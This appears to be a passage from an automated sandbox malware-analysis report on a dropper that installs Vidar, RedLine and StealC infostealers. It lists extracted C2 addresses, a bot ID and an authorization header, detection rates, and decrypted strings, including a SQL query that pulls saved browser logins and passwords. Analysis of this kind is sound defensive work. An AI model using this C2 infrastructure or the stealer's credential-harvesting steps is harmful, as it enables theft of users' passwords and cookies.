Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\de
Source: 0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.170/7043a0c6a68d9c65.php"}
Source: 22.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["5.42.65.115:40551"], "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}
Source: FDsH_f9gemssdAs7w06vZwlL.exe.4048.14.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.170/7043a0c6a68d9c65.php"}

Multi AV Scanner detection for domain / URL

Source: employhabragaomlsp.shop	Virustotal: Detection: 11%	Perma Link
Source: f.alie3ksggg.com	Virustotal: Detection: 13%	Perma Link
Source: api.2ip.ua	Virustotal: Detection: 6%	Perma Link
Source: service-domain.xyz	Virustotal: Detection: 12%	Perma Link
Source: env-3936544.jcloud.kz	Virustotal: Detection: 5%	Perma Link
Source: lop.foxesjoy.com	Virustotal: Detection: 16%	Perma Link
Source: iplis.ru	Virustotal: Detection: 11%	Perma Link
Source: monoblocked.com	Virustotal: Detection: 14%	Perma Link
Source: sta.alie3ksgee.com	Virustotal: Detection: 8%	Perma Link
Source: cajgtus.com	Virustotal: Detection: 23%	Perma Link
Source: api4.check-data.xyz	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	ReversingLabs: Detection: 54%
Source: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7\unbmFXV_GPtCMFoyWe7JMXak.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\123p[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Default12_v2[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma2305[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\default_v2[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma2305[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Retailer_prog[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\lumma2305[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\Retailer_prog[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oiii[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\ZUeumQ5vReRlBxyeuYnI.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\kvTtAU2MzY2s2DUs95B8.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: BI6oo9z4In.exe	ReversingLabs: Detection: 23%
Source: BI6oo9z4In.exe	Virustotal: Detection: 35%			Perma Link

Machine Learning detection for dropped file

Source: C:\ProgramData\ICodecLibrary 1.22.66\ICodecLibrary 1.22.66.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetProcAddress
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: LoadLibraryA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: lstrcatA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: OpenEventA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CreateEventA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CloseHandle
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Sleep
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: VirtualFree
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetSystemInfo
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: VirtualAlloc
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: HeapAlloc
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetComputerNameA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: lstrcpyA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetProcessHeap
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetCurrentProcess
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: lstrlenA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ExitProcess
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetSystemTime
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: advapi32.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: gdi32.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: user32.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: crypt32.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ntdll.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetUserNameA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CreateDCA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetDeviceCaps
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ReleaseDC
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sscanf
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: VMwareVMware
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: HAL9TH
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: JohnDoe
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: DISPLAY
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: http://185.172.128.170
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: /7043a0c6a68d9c65.php
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: /8420e83ceb95f3af/
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: default11
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetFileAttributesA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GlobalLock
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: HeapFree
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetFileSize
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GlobalSize
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: IsWow64Process
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Process32Next
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetLocalTime
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: FreeLibrary
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetVolumeInformationA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Process32First
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetModuleFileNameA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: DeleteFileA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: FindNextFileA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: LocalFree
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: FindClose
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: LocalAlloc
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetFileSizeEx
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ReadFile
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SetFilePointer
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: WriteFile
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CreateFileA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: FindFirstFileA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CopyFileA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: VirtualProtect
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetLastError
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: lstrcpynA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: MultiByteToWideChar
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GlobalFree
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: WideCharToMultiByte
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GlobalAlloc
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: OpenProcess
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: TerminateProcess
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetCurrentProcessId
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: gdiplus.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ole32.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: bcrypt.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: wininet.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: shell32.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: psapi.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: rstrtmgr.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SelectObject
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: BitBlt
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: DeleteObject
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CreateCompatibleDC
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdiplusStartup
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdiplusShutdown
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdipDisposeImage
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GdipFree
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CoUninitialize
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CoInitialize
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CoCreateInstance
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: BCryptDecrypt
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: BCryptSetProperty
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: BCryptDestroyKey
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetWindowRect
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetDesktopWindow
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetDC
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CloseWindow
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: wsprintfA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CharToOemW
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: wsprintfW
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RegQueryValueExA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RegEnumKeyExA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RegOpenKeyExA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RegCloseKey
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RegEnumValueA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: CryptUnprotectData
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SHGetFolderPathA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: ShellExecuteExA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: InternetOpenUrlA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: InternetConnectA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: InternetCloseHandle
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: InternetOpenA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: HttpSendRequestA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: HttpOpenRequestA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: InternetReadFile
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: InternetCrackUrlA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: StrCmpCA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: StrStrA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: StrCmpCW
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: PathMatchSpecA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RmStartSession
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RmRegisterResources
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RmGetList
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: RmEndSession
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_open
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_step
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_column_text
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_finalize
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_close
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: sqlite3_column_blob
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: encrypted_key
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: PATH
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: NSS_Init
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: NSS_Shutdown
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: PK11_FreeSlot
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: PK11_Authenticate
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: C:\ProgramData\
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: browser:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: profile:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: url:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: login:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: password:
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Opera
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: OperaGX
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: Network
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: cookies
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: .txt
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: TRUE
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: FALSE
Source: 14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	String decryptor: autofill
